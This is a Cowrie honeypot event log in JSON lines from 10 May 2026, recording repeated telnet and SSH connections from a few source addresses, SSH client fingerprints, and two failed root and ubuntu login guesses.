{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":43846,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ab31b3fdd44","protocol":"telnet","message":"New connection: 45.148.121.166:43846 (159.203.135.109:23) [session: 5ab31b3fdd44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:36.247159Z"}
{"eventid":"cowrie.session.closed","duration":31.40161442756653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:37.945342Z","src_ip":"45.148.121.166","session":"2939286c32c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.534289598464966,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:47.317742Z","src_ip":"128.199.8.54","session":"5ff48b758010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":39830,"dst_ip":"159.203.135.109","dst_port":23,"session":"a57fca430314","protocol":"telnet","message":"New connection: 45.148.121.166:39830 (159.203.135.109:23) [session: a57fca430314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:47.795459Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57814,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbb24491a898","protocol":"telnet","message":"New connection: 128.199.8.54:57814 (159.203.135.109:23) [session: dbb24491a898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:51.413902Z"}
{"eventid":"cowrie.session.closed","duration":33.04375195503235,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:52.832538Z","src_ip":"128.199.8.54","session":"328a169b67e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.198503255844116,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:57.000998Z","src_ip":"128.199.8.54","session":"bd164560bf46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.512749671936035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:58.784643Z","src_ip":"45.148.121.166","session":"c1dd642b125d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.224299430847168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:59.688867Z","src_ip":"45.148.121.166","session":"9a93df3ceb01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":35498,"dst_ip":"159.203.135.109","dst_port":23,"session":"6932c9f70005","protocol":"telnet","message":"New connection: 45.148.121.166:35498 (159.203.135.109:23) [session: 6932c9f70005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:15:59.694250Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":35502,"dst_ip":"159.203.135.109","dst_port":23,"session":"b192995bc0b3","protocol":"telnet","message":"New connection: 45.148.121.166:35502 (159.203.135.109:23) [session: b192995bc0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:00.985968Z"}
{"eventid":"cowrie.session.closed","duration":32.928234815597534,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:01.248877Z","src_ip":"128.199.8.54","session":"94ad7da55144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759796857833862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:05.370875Z","src_ip":"45.148.121.166","session":"e6d41f4bedcf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19050884246826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:06.280280Z","src_ip":"128.199.8.54","session":"2aebeaa23c60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51573085784912,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:07.762794Z","src_ip":"45.148.121.166","session":"5ab31b3fdd44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":35272,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6fc4a92c62f","protocol":"telnet","message":"New connection: 45.148.121.166:35272 (159.203.135.109:23) [session: c6fc4a92c62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:13.798372Z"}
{"eventid":"cowrie.session.closed","duration":31.194178819656372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:18.989491Z","src_ip":"45.148.121.166","session":"a57fca430314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":57532,"dst_ip":"159.203.135.109","dst_port":23,"session":"815feefe2a0b","protocol":"telnet","message":"New connection: 45.148.121.166:57532 (159.203.135.109:23) [session: 815feefe2a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:19.248616Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":57542,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed4e02346c65","protocol":"telnet","message":"New connection: 45.148.121.166:57542 (159.203.135.109:23) [session: ed4e02346c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:20.665651Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57798,"dst_ip":"159.203.135.109","dst_port":23,"session":"4afc53ad35da","protocol":"telnet","message":"New connection: 128.199.8.54:57798 (159.203.135.109:23) [session: 4afc53ad35da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:21.035240Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":57546,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eede2ba2580","protocol":"telnet","message":"New connection: 45.148.121.166:57546 (159.203.135.109:23) [session: 0eede2ba2580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:21.699438Z"}
{"eventid":"cowrie.session.closed","duration":33.76312613487244,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:25.177066Z","src_ip":"128.199.8.54","session":"dbb24491a898","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":53906,"dst_ip":"159.203.135.109","dst_port":23,"session":"0560f966ccbb","protocol":"telnet","message":"New connection: 45.148.121.166:53906 (159.203.135.109:23) [session: 0560f966ccbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:26.692378Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42110,"dst_ip":"159.203.135.109","dst_port":23,"session":"c15ca4c23564","protocol":"telnet","message":"New connection: 128.199.8.54:42110 (159.203.135.109:23) [session: c15ca4c23564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:26.929245Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":53912,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfcadfd0a437","protocol":"telnet","message":"New connection: 45.148.121.166:53912 (159.203.135.109:23) [session: bfcadfd0a437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:27.406793Z"}
{"eventid":"cowrie.session.closed","duration":30.34792137145996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:30.042091Z","src_ip":"45.148.121.166","session":"6932c9f70005","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":53922,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c620b8134f3","protocol":"telnet","message":"New connection: 45.148.121.166:53922 (159.203.135.109:23) [session: 2c620b8134f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:30.431663Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53136,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d4d278e2360","protocol":"telnet","message":"New connection: 128.199.8.54:53136 (159.203.135.109:23) [session: 0d4d278e2360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:32.087499Z"}
{"eventid":"cowrie.session.closed","duration":31.462897300720215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:32.448753Z","src_ip":"45.148.121.166","session":"b192995bc0b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":53934,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2f0842edb4b","protocol":"telnet","message":"New connection: 45.148.121.166:53934 (159.203.135.109:23) [session: e2f0842edb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:32.633607Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":53948,"dst_ip":"159.203.135.109","dst_port":23,"session":"c509b6783af4","protocol":"telnet","message":"New connection: 45.148.121.166:53948 (159.203.135.109:23) [session: c509b6783af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:32.755866Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56098,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d6447101357","protocol":"telnet","message":"New connection: 128.199.8.54:56098 (159.203.135.109:23) [session: 0d6447101357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:33.575250Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":37602,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ae3b9da723","protocol":"telnet","message":"New connection: 45.148.121.166:37602 (159.203.135.109:23) [session: d0ae3b9da723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:36.837620Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":37608,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25697331b8a","protocol":"telnet","message":"New connection: 45.148.121.166:37608 (159.203.135.109:23) [session: c25697331b8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:43.675190Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":37614,"dst_ip":"159.203.135.109","dst_port":23,"session":"d81190c4a9e0","protocol":"telnet","message":"New connection: 45.148.121.166:37614 (159.203.135.109:23) [session: d81190c4a9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:44.200063Z"}
{"eventid":"cowrie.session.closed","duration":30.588809490203857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:44.387090Z","src_ip":"45.148.121.166","session":"c6fc4a92c62f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33556,"dst_ip":"159.203.135.109","dst_port":23,"session":"d24627603d24","protocol":"telnet","message":"New connection: 45.148.121.166:33556 (159.203.135.109:23) [session: d24627603d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:45.122833Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33558,"dst_ip":"159.203.135.109","dst_port":23,"session":"093edf55891e","protocol":"telnet","message":"New connection: 45.148.121.166:33558 (159.203.135.109:23) [session: 093edf55891e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:45.510086Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52132,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac706285125b","protocol":"telnet","message":"New connection: 128.199.8.54:52132 (159.203.135.109:23) [session: ac706285125b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:46.482116Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33572,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cd9bdb80a23","protocol":"telnet","message":"New connection: 45.148.121.166:33572 (159.203.135.109:23) [session: 2cd9bdb80a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:48.524749Z"}
{"eventid":"cowrie.session.closed","duration":31.13579797744751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:50.384293Z","src_ip":"45.148.121.166","session":"815feefe2a0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60554,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5a47bb19bc6","protocol":"telnet","message":"New connection: 128.199.8.54:60554 (159.203.135.109:23) [session: d5a47bb19bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:50.432125Z"}
{"eventid":"cowrie.session.closed","duration":30.399014949798584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:51.064537Z","src_ip":"45.148.121.166","session":"ed4e02346c65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.242573022842407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:52.941888Z","src_ip":"45.148.121.166","session":"0eede2ba2580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48454,"dst_ip":"159.203.135.109","dst_port":22,"session":"af3e5b051ea9","protocol":"ssh","message":"New connection: 2.57.122.208:48454 (159.203.135.109:22) [session: af3e5b051ea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:55.031847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:55.131183Z","src_ip":"2.57.122.208","session":"af3e5b051ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.189252853393555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:55.224420Z","src_ip":"128.199.8.54","session":"4afc53ad35da","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:55.230281Z","src_ip":"2.57.122.208","session":"af3e5b051ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43314,"dst_ip":"10.17.0.5","dst_port":22,"session":"42eb87bda64f","protocol":"ssh","message":"New connection: 103.15.226.202:43314 (10.17.0.5:22) [session: 42eb87bda64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:55.573383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:55.578324Z","src_ip":"103.15.226.202","session":"42eb87bda64f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:55.823159Z","src_ip":"103.15.226.202","session":"42eb87bda64f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:55.832381Z","src_ip":"2.57.122.208","session":"af3e5b051ea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":47236,"dst_ip":"159.203.135.109","dst_port":23,"session":"01fc451de2e2","protocol":"telnet","message":"New connection: 45.148.121.166:47236 (159.203.135.109:23) [session: 01fc451de2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:56.032219Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"cc+cj=cc","message":"login attempt [root/cc+cj=cc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:56.568413Z","src_ip":"103.15.226.202","session":"42eb87bda64f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:57.022460Z","src_ip":"2.57.122.208","session":"af3e5b051ea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.37310266494751,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:57.065393Z","src_ip":"45.148.121.166","session":"0560f966ccbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:57.814729Z","src_ip":"103.15.226.202","session":"42eb87bda64f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.148321628570557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:16:58.554980Z","src_ip":"45.148.121.166","session":"bfcadfd0a437","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18164896965027,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:00.110782Z","src_ip":"128.199.8.54","session":"c15ca4c23564","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52494,"dst_ip":"159.203.135.109","dst_port":23,"session":"325eaeb68086","protocol":"telnet","message":"New connection: 128.199.8.54:52494 (159.203.135.109:23) [session: 325eaeb68086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:00.142863Z"}
{"eventid":"cowrie.session.closed","duration":31.18475890159607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:01.616311Z","src_ip":"45.148.121.166","session":"2c620b8134f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35625171661377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:03.112013Z","src_ip":"45.148.121.166","session":"c509b6783af4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55504536628723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:03.188547Z","src_ip":"45.148.121.166","session":"e2f0842edb4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33826,"dst_ip":"159.203.135.109","dst_port":23,"session":"adcb767df794","protocol":"telnet","message":"New connection: 45.148.121.166:33826 (159.203.135.109:23) [session: adcb767df794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:06.116338Z"}
{"eventid":"cowrie.session.closed","duration":34.20935916900635,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:06.296768Z","src_ip":"128.199.8.54","session":"0d4d278e2360","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23576855659485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:07.073301Z","src_ip":"45.148.121.166","session":"d0ae3b9da723","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.240673780441284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:08.815808Z","src_ip":"128.199.8.54","session":"0d6447101357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33832,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b5a71c0da27","protocol":"telnet","message":"New connection: 45.148.121.166:33832 (159.203.135.109:23) [session: 9b5a71c0da27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:08.986598Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44780,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d00e7fa9712","protocol":"telnet","message":"New connection: 128.199.8.54:44780 (159.203.135.109:23) [session: 6d00e7fa9712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:09.166015Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46766,"dst_ip":"159.203.135.109","dst_port":23,"session":"d068ba90901e","protocol":"telnet","message":"New connection: 128.199.8.54:46766 (159.203.135.109:23) [session: d068ba90901e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:10.182359Z"}
{"eventid":"cowrie.session.closed","duration":30.562042713165283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:14.237145Z","src_ip":"45.148.121.166","session":"c25697331b8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85679292678833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:17:15.056737Z","src_ip":"45.148.121.166","session":"d81190c4a9e0","protocol":"telnet"}
